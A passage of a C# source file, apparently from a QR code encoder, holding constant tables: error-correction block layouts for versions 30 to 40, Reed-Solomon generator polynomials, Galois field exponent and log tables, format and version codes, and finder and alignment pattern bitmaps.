311 | { 15, 24, 25, 25}, // 30-Q
312 | { 23, 15, 25, 16}, // 30-H
313 | { 13, 115, 3, 116}, // 31-L
314 | { 2, 46, 29, 47}, // 31-M
315 | { 42, 24, 1, 25}, // 31-Q
316 | { 23, 15, 28, 16}, // 31-H
317 | { 17, 115, 0, 0}, // 32-L
318 | { 10, 46, 23, 47}, // 32-M
319 | { 10, 24, 35, 25}, // 32-Q
320 | { 19, 15, 35, 16}, // 32-H
321 | { 17, 115, 1, 116}, // 33-L
322 | { 14, 46, 21, 47}, // 33-M
323 | { 29, 24, 19, 25}, // 33-Q
324 | { 11, 15, 46, 16}, // 33-H
325 | { 13, 115, 6, 116}, // 34-L
326 | { 14, 46, 23, 47}, // 34-M
327 | { 44, 24, 7, 25}, // 34-Q
328 | { 59, 16, 1, 17}, // 34-H
329 | { 12, 121, 7, 122}, // 35-L
330 | { 12, 47, 26, 48}, // 35-M
331 | { 39, 24, 14, 25}, // 35-Q
332 | { 22, 15, 41, 16}, // 35-H
333 | { 6, 121, 14, 122}, // 36-L
334 | { 6, 47, 34, 48}, // 36-M
335 | { 46, 24, 10, 25}, // 36-Q
336 | { 2, 15, 64, 16}, // 36-H
337 | { 17, 122, 4, 123}, // 37-L
338 | { 29, 46, 14, 47}, // 37-M
339 | { 49, 24, 10, 25}, // 37-Q
340 | { 24, 15, 46, 16}, // 37-H
341 | { 4, 122, 18, 123}, // 38-L
342 | { 13, 46, 32, 47}, // 38-M
343 | { 48, 24, 14, 25}, // 38-Q
344 | { 42, 15, 32, 16}, // 38-H
345 | { 20, 117, 4, 118}, // 39-L
346 | { 40, 47, 7, 48}, // 39-M
347 | { 43, 24, 22, 25}, // 39-Q
348 | { 10, 15, 67, 16}, // 39-H
349 | { 19, 118, 6, 119}, // 40-L
350 | { 18, 47, 31, 48}, // 40-M
351 | { 34, 24, 34, 25}, // 40-Q
352 | { 20, 15, 61, 16}, // 40-H
353 | };
354 |
355 | internal static readonly byte[] Generator7 =
356 | { 87, 229, 146, 149, 238, 102, 21};
357 | internal static readonly byte[] Generator10 =
358 | { 251, 67, 46, 61, 118, 70, 64, 94, 32, 45};
359 | internal static readonly byte[] Generator13 =
360 | { 74, 152, 176, 100, 86, 100, 106, 104, 130, 218, 206, 140, 78};
361 | internal static readonly byte[] Generator15 =
362 | { 8, 183, 61, 91, 202, 37, 51, 58, 58, 237, 140, 124, 5, 99, 105};
363 | internal static readonly byte[] Generator16 =
364 | { 120, 104, 107, 109, 102, 161, 76, 3, 91, 191, 147, 169, 182, 194, 225, 120};
365 | internal static readonly byte[] Generator17 =
366 | { 43, 139, 206, 78, 43, 239, 123, 206, 214, 147, 24, 99, 150, 39, 243, 163,
367 | 136};
368 | internal static readonly byte[] Generator18 =
369 | { 215, 234, 158, 94, 184, 97, 118, 170, 79, 187, 152, 148, 252, 179, 5, 98,
370 | 96, 153};
371 | internal static readonly byte[] Generator20 =
372 | { 17, 60, 79, 50, 61, 163, 26, 187, 202, 180, 221, 225, 83, 239, 156, 164,
373 | 212, 212, 188, 190};
374 | internal static readonly byte[] Generator22 =
375 | { 210, 171, 247, 242, 93, 230, 14, 109, 221, 53, 200, 74, 8, 172, 98, 80,
376 | 219, 134, 160, 105, 165, 231};
377 | internal static readonly byte[] Generator24 =
378 | { 229, 121, 135, 48, 211, 117, 251, 126, 159, 180, 169, 152, 192, 226, 228, 218,
379 | 111, 0, 117, 232, 87, 96, 227, 21};
380 | internal static readonly byte[] Generator26 =
381 | { 173, 125, 158, 2, 103, 182, 118, 17, 145, 201, 111, 28, 165, 53, 161, 21,
382 | 245, 142, 13, 102, 48, 227, 153, 145, 218, 70};
383 | internal static readonly byte[] Generator28 =
384 | { 168, 223, 200, 104, 224, 234, 108, 180, 110, 190, 195, 147, 205, 27, 232, 201,
385 | 21, 43, 245, 87, 42, 195, 212, 119, 242, 37, 9, 123};
386 | internal static readonly byte[] Generator30 =
387 | { 41, 173, 145, 152, 216, 31, 179, 182, 50, 48, 110, 86, 239, 96, 222, 125,
388 | 42, 173, 226, 193, 224, 130, 156, 37, 251, 216, 238, 40, 192, 180};
389 | internal static readonly byte[] Generator32 =
390 | { 10, 6, 106, 190, 249, 167, 4, 67, 209, 138, 138, 32, 242, 123, 89, 27,
391 | 120, 185, 80, 156, 38, 60, 171, 60, 28, 222, 80, 52, 254, 185, 220, 241};
392 | internal static readonly byte[] Generator34 =
393 | { 111, 77, 146, 94, 26, 21, 108, 19, 105, 94, 113, 193, 86, 140, 163, 125,
394 | 58, 158, 229, 239, 218, 103, 56, 70, 114, 61, 183, 129, 167, 13, 98, 62,
395 | 129, 51};
396 | internal static readonly byte[] Generator36 =
397 | { 200, 183, 98, 16, 172, 31, 246, 234, 60, 152, 115, 0, 167, 152, 113, 248,
398 | 238, 107, 18, 63, 218, 37, 87, 210, 105, 177, 120, 74, 121, 196, 117, 251,
399 | 113, 233, 30, 120};
400 | internal static readonly byte[] Generator40 =
401 | { 59, 116, 79, 161, 252, 98, 128, 205, 128, 161, 247, 57, 163, 56, 235, 106,
402 | 53, 26, 187, 174, 226, 104, 170, 7, 175, 35, 181, 114, 88, 41, 47, 163,
403 | 125, 134, 72, 20, 232, 53, 35, 15};
404 | internal static readonly byte[] Generator42 =
405 | { 250, 103, 221, 230, 25, 18, 137, 231, 0, 3, 58, 242, 221, 191, 110, 84,
406 | 230, 8, 188, 106, 96, 147, 15, 131, 139, 34, 101, 223, 39, 101, 213, 199,
407 | 237, 254, 201, 123, 171, 162, 194, 117, 50, 96};
408 | internal static readonly byte[] Generator44 =
409 | { 190, 7, 61, 121, 71, 246, 69, 55, 168, 188, 89, 243, 191, 25, 72, 123,
410 | 9, 145, 14, 247, 1, 238, 44, 78, 143, 62, 224, 126, 118, 114, 68, 163,
411 | 52, 194, 217, 147, 204, 169, 37, 130, 113, 102, 73, 181};
412 | internal static readonly byte[] Generator46 =
413 | { 112, 94, 88, 112, 253, 224, 202, 115, 187, 99, 89, 5, 54, 113, 129, 44,
414 | 58, 16, 135, 216, 169, 211, 36, 1, 4, 96, 60, 241, 73, 104, 234, 8,
415 | 249, 245, 119, 174, 52, 25, 157, 224, 43, 202, 223, 19, 82, 15};
416 | internal static readonly byte[] Generator48 =
417 | { 228, 25, 196, 130, 211, 146, 60, 24, 251, 90, 39, 102, 240, 61, 178, 63,
418 | 46, 123, 115, 18, 221, 111, 135, 160, 182, 205, 107, 206, 95, 150, 120, 184,
419 | 91, 21, 247, 156, 140, 238, 191, 11, 94, 227, 84, 50, 163, 39, 34, 108};
420 | internal static readonly byte[] Generator50 =
421 | { 232, 125, 157, 161, 164, 9, 118, 46, 209, 99, 203, 193, 35, 3, 209, 111,
422 | 195, 242, 203, 225, 46, 13, 32, 160, 126, 209, 130, 160, 242, 215, 242, 75,
423 | 77, 42, 189, 32, 113, 65, 124, 69, 228, 114, 235, 175, 124, 170, 215, 232,
424 | 133, 205};
425 | internal static readonly byte[] Generator52 =
426 | { 116, 50, 86, 186, 50, 220, 251, 89, 192, 46, 86, 127, 124, 19, 184, 233,
427 | 151, 215, 22, 14, 59, 145, 37, 242, 203, 134, 254, 89, 190, 94, 59, 65,
428 | 124, 113, 100, 233, 235, 121, 22, 76, 86, 97, 39, 242, 200, 220, 101, 33,
429 | 239, 254, 116, 51};
430 | internal static readonly byte[] Generator54 =
431 | { 183, 26, 201, 84, 210, 221, 113, 21, 46, 65, 45, 50, 238, 184, 249, 225,
432 | 102, 58, 209, 218, 109, 165, 26, 95, 184, 192, 52, 245, 35, 254, 238, 175,
433 | 172, 79, 123, 25, 122, 43, 120, 108, 215, 80, 128, 201, 235, 8, 153, 59,
434 | 101, 31, 198, 76, 31, 156};
435 | internal static readonly byte[] Generator56 =
436 | { 106, 120, 107, 157, 164, 216, 112, 116, 2, 91, 248, 163, 36, 201, 202, 229,
437 | 6, 144, 254, 155, 135, 208, 170, 209, 12, 139, 127, 142, 182, 249, 177, 174,
438 | 190, 28, 10, 85, 239, 184, 101, 124, 152, 206, 96, 23, 163, 61, 27, 196,
439 | 247, 151, 154, 202, 207, 20, 61, 10};
440 | internal static readonly byte[] Generator58 =
441 | { 82, 116, 26, 247, 66, 27, 62, 107, 252, 182, 200, 185, 235, 55, 251, 242,
442 | 210, 144, 154, 237, 176, 141, 192, 248, 152, 249, 206, 85, 253, 142, 65, 165,
443 | 125, 23, 24, 30, 122, 240, 214, 6, 129, 218, 29, 145, 127, 134, 206, 245,
444 | 117, 29, 41, 63, 159, 142, 233, 125, 148, 123};
445 | internal static readonly byte[] Generator60 =
446 | { 107, 140, 26, 12, 9, 141, 243, 197, 226, 197, 219, 45, 211, 101, 219, 120,
447 | 28, 181, 127, 6, 100, 247, 2, 205, 198, 57, 115, 219, 101, 109, 160, 82,
448 | 37, 38, 238, 49, 160, 209, 121, 86, 11, 124, 30, 181, 84, 25, 194, 87,
449 | 65, 102, 190, 220, 70, 27, 209, 16, 89, 7, 33, 240};
450 | internal static readonly byte[] Generator62 =
451 | { 65, 202, 113, 98, 71, 223, 248, 118, 214, 94, 0, 122, 37, 23, 2, 228,
452 | 58, 121, 7, 105, 135, 78, 243, 118, 70, 76, 223, 89, 72, 50, 70, 111,
453 | 194, 17, 212, 126, 181, 35, 221, 117, 235, 11, 229, 149, 147, 123, 213, 40,
454 | 115, 6, 200, 100, 26, 246, 182, 218, 127, 215, 36, 186, 110, 106};
455 | internal static readonly byte[] Generator64 =
456 | { 45, 51, 175, 9, 7, 158, 159, 49, 68, 119, 92, 123, 177, 204, 187, 254,
457 | 200, 78, 141, 149, 119, 26, 127, 53, 160, 93, 199, 212, 29, 24, 145, 156,
458 | 208, 150, 218, 209, 4, 216, 91, 47, 184, 146, 47, 140, 195, 195, 125, 242,
459 | 238, 63, 99, 108, 140, 230, 242, 31, 204, 11, 178, 243, 217, 156, 213, 231};
460 | internal static readonly byte[] Generator66 =
461 | { 5, 118, 222, 180, 136, 136, 162, 51, 46, 117, 13, 215, 81, 17, 139, 247,
462 | 197, 171, 95, 173, 65, 137, 178, 68, 111, 95, 101, 41, 72, 214, 169, 197,
463 | 95, 7, 44, 154, 77, 111, 236, 40, 121, 143, 63, 87, 80, 253, 240, 126,
464 | 217, 77, 34, 232, 106, 50, 168, 82, 76, 146, 67, 106, 171, 25, 132, 93,
465 | 45, 105};
466 | internal static readonly byte[] Generator68 =
467 | { 247, 159, 223, 33, 224, 93, 77, 70, 90, 160, 32, 254, 43, 150, 84, 101,
468 | 190, 205, 133, 52, 60, 202, 165, 220, 203, 151, 93, 84, 15, 84, 253, 173,
469 | 160, 89, 227, 52, 199, 97, 95, 231, 52, 177, 41, 125, 137, 241, 166, 225,
470 | 118, 2, 54, 32, 82, 215, 175, 198, 43, 238, 235, 27, 101, 184, 127, 3,
471 | 5, 8, 163, 238};
472 |
473 | internal static readonly byte[][] GenArray =
474 | { Generator7, null, null, Generator10, null, null, Generator13, null, Generator15, Generator16,
475 | Generator17, Generator18, null, Generator20, null, Generator22, null, Generator24, null, Generator26,
476 | null, Generator28, null, Generator30, null, Generator32, null, Generator34, null, Generator36,
477 | null, null, null, Generator40, null, Generator42, null, Generator44, null, Generator46,
478 | null, Generator48, null, Generator50, null, Generator52, null, Generator54, null, Generator56,
479 | null, Generator58, null, Generator60, null, Generator62, null, Generator64, null, Generator66,
480 | null, Generator68};
481 |
482 | internal static readonly byte[] ExpToInt = // ExpToInt =
483 | {
484 | 1, 2, 4, 8, 16, 32, 64, 128, 29, 58, 116, 232, 205, 135, 19, 38,
485 | 76, 152, 45, 90, 180, 117, 234, 201, 143, 3, 6, 12, 24, 48, 96, 192,
486 | 157, 39, 78, 156, 37, 74, 148, 53, 106, 212, 181, 119, 238, 193, 159, 35,
487 | 70, 140, 5, 10, 20, 40, 80, 160, 93, 186, 105, 210, 185, 111, 222, 161,
488 | 95, 190, 97, 194, 153, 47, 94, 188, 101, 202, 137, 15, 30, 60, 120, 240,
489 | 253, 231, 211, 187, 107, 214, 177, 127, 254, 225, 223, 163, 91, 182, 113, 226,
490 | 217, 175, 67, 134, 17, 34, 68, 136, 13, 26, 52, 104, 208, 189, 103, 206,
491 | 129, 31, 62, 124, 248, 237, 199, 147, 59, 118, 236, 197, 151, 51, 102, 204,
492 | 133, 23, 46, 92, 184, 109, 218, 169, 79, 158, 33, 66, 132, 21, 42, 84,
493 | 168, 77, 154, 41, 82, 164, 85, 170, 73, 146, 57, 114, 228, 213, 183, 115,
494 | 230, 209, 191, 99, 198, 145, 63, 126, 252, 229, 215, 179, 123, 246, 241, 255,
495 | 227, 219, 171, 75, 150, 49, 98, 196, 149, 55, 110, 220, 165, 87, 174, 65,
496 | 130, 25, 50, 100, 200, 141, 7, 14, 28, 56, 112, 224, 221, 167, 83, 166,
497 | 81, 162, 89, 178, 121, 242, 249, 239, 195, 155, 43, 86, 172, 69, 138, 9,
498 | 18, 36, 72, 144, 61, 122, 244, 245, 247, 243, 251, 235, 203, 139, 11, 22,
499 | 44, 88, 176, 125, 250, 233, 207, 131, 27, 54, 108, 216, 173, 71, 142, 1,
500 |
501 | 2, 4, 8, 16, 32, 64, 128, 29, 58, 116, 232, 205, 135, 19, 38,
502 | 76, 152, 45, 90, 180, 117, 234, 201, 143, 3, 6, 12, 24, 48, 96, 192,
503 | 157, 39, 78, 156, 37, 74, 148, 53, 106, 212, 181, 119, 238, 193, 159, 35,
504 | 70, 140, 5, 10, 20, 40, 80, 160, 93, 186, 105, 210, 185, 111, 222, 161,
505 | 95, 190, 97, 194, 153, 47, 94, 188, 101, 202, 137, 15, 30, 60, 120, 240,
506 | 253, 231, 211, 187, 107, 214, 177, 127, 254, 225, 223, 163, 91, 182, 113, 226,
507 | 217, 175, 67, 134, 17, 34, 68, 136, 13, 26, 52, 104, 208, 189, 103, 206,
508 | 129, 31, 62, 124, 248, 237, 199, 147, 59, 118, 236, 197, 151, 51, 102, 204,
509 | 133, 23, 46, 92, 184, 109, 218, 169, 79, 158, 33, 66, 132, 21, 42, 84,
510 | 168, 77, 154, 41, 82, 164, 85, 170, 73, 146, 57, 114, 228, 213, 183, 115,
511 | 230, 209, 191, 99, 198, 145, 63, 126, 252, 229, 215, 179, 123, 246, 241, 255,
512 | 227, 219, 171, 75, 150, 49, 98, 196, 149, 55, 110, 220, 165, 87, 174, 65,
513 | 130, 25, 50, 100, 200, 141, 7, 14, 28, 56, 112, 224, 221, 167, 83, 166,
514 | 81, 162, 89, 178, 121, 242, 249, 239, 195, 155, 43, 86, 172, 69, 138, 9,
515 | 18, 36, 72, 144, 61, 122, 244, 245, 247, 243, 251, 235, 203, 139, 11, 22,
516 | 44, 88, 176, 125, 250, 233, 207, 131, 27, 54, 108, 216, 173, 71, 142, 1
517 | };
518 |
519 | internal static readonly byte[] IntToExp = // IntToExp =
520 | {
521 | 0, 0, 1, 25, 2, 50, 26, 198, 3, 223, 51, 238, 27, 104, 199, 75,
522 | 4, 100, 224, 14, 52, 141, 239, 129, 28, 193, 105, 248, 200, 8, 76, 113,
523 | 5, 138, 101, 47, 225, 36, 15, 33, 53, 147, 142, 218, 240, 18, 130, 69,
524 | 29, 181, 194, 125, 106, 39, 249, 185, 201, 154, 9, 120, 77, 228, 114, 166,
525 | 6, 191, 139, 98, 102, 221, 48, 253, 226, 152, 37, 179, 16, 145, 34, 136,
526 | 54, 208, 148, 206, 143, 150, 219, 189, 241, 210, 19, 92, 131, 56, 70, 64,
527 | 30, 66, 182, 163, 195, 72, 126, 110, 107, 58, 40, 84, 250, 133, 186, 61,
528 | 202, 94, 155, 159, 10, 21, 121, 43, 78, 212, 229, 172, 115, 243, 167, 87,
529 | 7, 112, 192, 247, 140, 128, 99, 13, 103, 74, 222, 237, 49, 197, 254, 24,
530 | 227, 165, 153, 119, 38, 184, 180, 124, 17, 68, 146, 217, 35, 32, 137, 46,
531 | 55, 63, 209, 91, 149, 188, 207, 205, 144, 135, 151, 178, 220, 252, 190, 97,
532 | 242, 86, 211, 171, 20, 42, 93, 158, 132, 60, 57, 83, 71, 109, 65, 162,
533 | 31, 45, 67, 216, 183, 123, 164, 118, 196, 23, 73, 236, 127, 12, 111, 246,
534 | 108, 161, 59, 82, 41, 157, 85, 170, 251, 96, 134, 177, 187, 204, 62, 90,
535 | 203, 89, 95, 176, 156, 169, 160, 81, 11, 245, 22, 235, 122, 117, 44, 215,
536 | 79, 174, 213, 233, 230, 231, 173, 232, 116, 214, 244, 234, 168, 80, 88, 175
537 | };
538 |
539 | internal static readonly int[] FormatInfoArray =
540 | {
541 | 0x5412, 0x5125, 0x5E7C, 0x5B4B, 0x45F9, 0x40CE, 0x4F97, 0x4AA0, // M = 00
542 | 0x77C4, 0x72F3, 0x7DAA, 0x789D, 0x662F, 0x6318, 0x6C41, 0x6976, // L = 01
543 | 0x1689, 0x13BE, 0x1CE7, 0x19D0, 0x762, 0x255, 0xD0C, 0x83B, // H - 10
544 | 0x355F, 0x3068, 0x3F31, 0x3A06, 0x24B4, 0x2183, 0x2EDA, 0x2BED, // Q = 11
545 | };
546 |
547 | internal static readonly int[,] FormatInfoOne = new int[,]
548 | {
549 | {0, 8}, {1, 8}, {2, 8}, {3, 8}, {4, 8}, {5, 8}, {7, 8}, {8, 8},
550 | {8, 7}, {8, 5}, {8, 4}, {8, 3}, {8, 2}, {8, 1}, {8, 0}
551 | };
552 |
553 | internal static readonly int[,] FormatInfoTwo = new int[,]
554 | {
555 | {8, -1}, {8, -2}, {8, -3}, {8, -4}, {8, -5}, {8, -6}, {8, -7}, {8, -8},
556 | {-7, 8}, {-6, 8}, {-5, 8}, {-4, 8}, {-3, 8}, {-2, 8}, {-1, 8}
557 | };
558 |
559 | internal static readonly int[] VersionCodeArray =
560 | {
561 | 0x7c94, 0x85bc, 0x9a99, 0xa4d3, 0xbbf6, 0xc762, 0xd847, 0xe60d, 0xf928, 0x10b78,
562 | 0x1145d, 0x12a17, 0x13532, 0x149a6, 0x15683, 0x168c9, 0x177ec, 0x18ec4, 0x191e1, 0x1afab,
563 | 0x1b08e, 0x1cc1a, 0x1d33f, 0x1ed75, 0x1f250, 0x209d5, 0x216f0, 0x228ba, 0x2379f, 0x24b0b,
564 | 0x2542e, 0x26a64, 0x27541, 0x28c69
565 | };
566 |
567 | internal const byte White = 0;
568 | internal const byte Black = 1;
569 | internal const byte NonData = 2;
570 | internal const byte Fixed = 4;
571 | internal const byte DataWhite = White;
572 | internal const byte DataBlack = Black;
573 | internal const byte FormatWhite = NonData | White;
574 | internal const byte FormatBlack = NonData | Black;
575 | internal const byte FixedWhite = Fixed | NonData | White;
576 | internal const byte FixedBlack = Fixed | NonData | Black;
577 |
578 | internal static readonly byte[,] FinderPatternTopLeft =
579 | {
580 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite},
581 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
582 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
583 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
584 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
585 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
586 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite},
587 | {FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FormatWhite},
588 | {FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite},
589 | };
590 |
591 | internal static readonly byte[,] FinderPatternTopRight =
592 | {
593 | {FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack},
594 | {FixedWhite, FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack},
595 | {FixedWhite, FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack},
596 | {FixedWhite, FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack},
597 | {FixedWhite, FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack},
598 | {FixedWhite, FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack},
599 | {FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack},
600 | {FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite},
601 | {FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite, FormatWhite},
602 | };
603 |
604 | internal static readonly byte[,] FinderPatternBottomLeft =
605 | {
606 | {FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack},
607 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite},
608 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
609 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
610 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
611 | {FixedBlack, FixedWhite, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
612 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedWhite, FixedBlack, FixedWhite, FormatWhite},
613 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedWhite, FormatWhite},
614 | };
615 |
616 | internal static readonly byte[,] AlignmentPattern =
617 | {
618 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack},
619 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedBlack},
620 | {FixedBlack, FixedWhite, FixedBlack, FixedWhite, FixedBlack},
621 | {FixedBlack, FixedWhite, FixedWhite, FixedWhite, FixedBlack},
622 | {FixedBlack, FixedBlack, FixedBlack, FixedBlack, FixedBlack},
623 | };
624 | }
625 | }
--------------------------------------------------------------------------------